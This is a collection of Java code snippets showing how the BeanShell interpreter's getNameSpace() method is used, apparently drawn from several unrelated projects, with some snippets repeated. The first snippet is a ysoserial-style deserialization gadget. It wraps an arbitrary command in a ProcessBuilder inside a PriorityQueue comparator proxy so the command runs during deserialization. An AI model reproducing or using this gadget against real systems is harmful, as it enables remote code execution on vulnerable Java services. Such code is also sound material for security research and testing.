public PriorityQueue getObject(String command) throws Exception { // BeanShell payload String payload = "compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{" + Strings.join( // does not support spaces in quotes Arrays.asList(command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"","\\\"").split(" ")), ",", "\"", "\"") + "}).start();return new Integer(1);}"; // Create Interpreter Interpreter i = new Interpreter(); // Evaluate payload i.eval(payload); // Create InvocationHandler XThis xt = new XThis(i.getNameSpace(), i); InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), "invocationHandler").get(xt); // Create Comparator Proxy Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler); // Prepare Trigger Gadget (will call Comparator.compare() during deserialization) final PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator); Object[] queue = new Object[] {1,1}; Reflections.setFieldValue(priorityQueue, "queue", queue); Reflections.setFieldValue(priorityQueue, "size", 2); return priorityQueue; }
/** Construct a new interactive interpreter attached to the specified console using the specified parent interpreter assumes interpreter namesepace. */ public Interpreter(ConsoleInterface console, Interpreter parent) { this( console, parent.getNameSpace(), parent ); }
public BeanshellBindings(final Interpreter interpreter) { this.interpreter = interpreter; nameSpace = interpreter.getNameSpace(); }
/** Get the class manager associated with this interpreter (the BshClassManager of this interpreter's global namespace). This is primarily a convenience method. */ public BshClassManager getClassManager() { return getNameSpace().getClassManager(); }
/** Get the class manager associated with this interpreter (the BshClassManager of this interpreter's global namespace). This is primarily a convenience method. */ public BshClassManager getClassManager() { return getNameSpace().getClassManager(); }
protected boolean contains(String name) { try { return _ip.getNameSpace().getVariable(name) != Primitive.VOID; //Primitive.VOID means not defined } catch (UtilEvalError ex) { throw UiException.Aide.wrap(ex); } }
Interpreter i = new Interpreter(); NameSpace ns = i.getNameSpace(); ns.setVariable("args", new String[]{"param1", "param2"}, false); i.source("Target.bsh");
@Override public Object eval(final Reader reader) throws ScriptException { setup(); try { final String filename = (String) get(ScriptEngine.FILENAME); return interpreter.eval(reader, interpreter.getNameSpace(), filename); } catch (final EvalError e) { throw new ScriptException(e); } }
NameSpace globalNS = bsh.getNameSpace(); globalNS.setName("class_" + baseName + "_global"); globalNS.getClassManager().associateClass(genClass);
NameSpace ns = bsh.getNameSpace(); String[] varNames = ns.getVariableNames(); for (int x = 0; x < varNames.length; x++) {
public Object invoke(final Map<String, ?> context) throws EvalError { final NameSpace nameSpace = new NameSpace(_interpreter.getClassManager(), "BeanshellExecutable"); nameSpace.setParent(_interpreter.getNameSpace()); final BshMethod method = new BshMethod(_method.getName(), _method.getReturnType(), _method.getParameterNames(), _method.getParameterTypes(), _method.methodBody, nameSpace, _method.getModifiers()); for (final Map.Entry<String, ?> entry : context.entrySet()) { try { nameSpace.setVariable(entry.getKey(), entry.getValue(), false); } catch (final UtilEvalError e) { throw new EvalError("cannot set variable '" + entry.getKey() + '\'', null, null, e); } } final Object result = method.invoke(new Object[0], new BshEvaluatingVisitor(null, _interpreter)); if (result instanceof Primitive) { if (( (Primitive) result).getType() == Void.TYPE) { return null; } return ( (Primitive) result).getValue(); } return result; }
public Object invoke(final Map<String, ?> context) throws EvalError { final NameSpace nameSpace = new NameSpace("BeanshellExecutable", _interpreter.getClassManager()); nameSpace.setParent(_interpreter.getNameSpace()); final BshMethod method = new BshMethod(_method.getName(), _method.getReturnType(), _method.getParameterNames(), _method.getParameterTypes(), _method.getParameterModifiers(), _method.methodBody, nameSpace, _method.getModifiers()); for (final Map.Entry<String, ?> entry : context.entrySet()) { try { final Object value = entry.getValue(); nameSpace.setVariable(entry.getKey(), value != null ? value : Primitive.NULL, false); } catch (final UtilEvalError e) { throw new EvalError("cannot set variable '" + entry.getKey() + '\'', null, null, e); } } final Object result = method.invoke(Reflect.ZERO_ARGS, _interpreter); if ( Types.getType(result) == Void.TYPE ) return null; return Primitive.unwrap(result); }
i.eval(sourceReader, i.getNameSpace(), scriptURL.toExternalForm());
i.eval(sourceReader, i.getNameSpace(), scriptURL.toExternalForm());
saveNS instanceof Boolean ? (Boolean) saveNS :cfg.getBoolean("save-name-space"); if(saveNameSpace) { if(info!=null) info.setNameSpace(bsh.getNameSpace()); else scripts.put(sources[i], new ScriptInfo(bsh.getNameSpace())); }else if (info!=null) info.setNameSpace(null); }catch(Exception e){
interpreter.getNameSpace().setNode(this);
protected PicoContainer createContainerFromScript(PicoContainer parentContainer, Object assemblyScope) { Interpreter i = new Interpreter(); try { i.set("parent", parentContainer); i.set("assemblyScope", assemblyScope); i.setClassLoader(this.getClassLoader()); i.eval(getScriptReader(), i.getNameSpace(), "picocontainer.bsh"); return (PicoContainer) i.get("pico"); } catch (EvalError e) { throw new ScriptedPicoContainerMarkupException(e); } catch (IOException e) { throw new ScriptedPicoContainerMarkupException(e); } } }
@Override protected PicoContainer createContainerFromScript(final PicoContainer parentContainer, final Object assemblyScope) { Interpreter i = new Interpreter(); try { i.set("parent", parentContainer); i.set("assemblyScope", assemblyScope); i.setClassLoader(this.getClassLoader()); i.eval(getScriptReader(), i.getNameSpace(), "picocontainer.bsh"); return (PicoContainer) i.get("pico"); } catch (EvalError e) { throw new ScriptedPicoContainerMarkupException(e); } catch (IOException e) { throw new ScriptedPicoContainerMarkupException(e); } } }
return null; NameSpace nameSpace = parentInterpreter.getNameSpace(); Object retVal = null; if (Debug.verboseOn()) Debug.logVerbose("eval: nameSpace = " + nameSpace);